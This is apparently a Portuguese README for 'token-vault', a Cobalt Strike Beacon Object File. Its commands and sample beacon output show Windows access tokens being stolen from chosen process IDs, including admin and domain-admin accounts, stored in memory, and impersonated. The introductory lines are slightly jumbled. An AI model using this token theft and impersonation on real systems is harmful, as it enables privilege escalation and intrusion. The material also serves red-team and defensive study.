
Vault de tokens em memória BOF para Cobalt Strike
Este Beacon Object File (BOF) cria armazenamento em memória para tokens de acesso do Windows roubados/duplicados, permitindo que você:
make all.token-vault.cna no seu cliente Cobalt Strike.beacon> help token-vault
Available Commands:
Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]
Set the default token vault: token-vault set <vault-id>
O comando token-vault create aloca um vault vazio a partir do heap do beacon.
A saída recebida contém o endereço de memória do vault (também conhecido como vault id),
que é usado para especificar o vault para os outros comandos token-vault.
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
Além disso, um vault id específico pode ser definido como vault padrão, que é usado
se um comando token-vault não incluir o vault id.
beacon> token-vault set 0000000000C31610
É importante observar que os vaults padrão configurados residem dentro do cliente do Cobalt Strike e não são compartilhados entre clientes.
O comando token-vault steal duplica os tokens dos processos fornecidos e os armazena
no vault.
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited
O comando token-vault use personifica um token do vault. Se o token
não existir, ele será roubado e armazenado no vault.
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da
O comando token-vault remove remove um token armazenado do vault.
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600
Além disso, o comando token-vault remove-all remove todos os tokens de uma vez.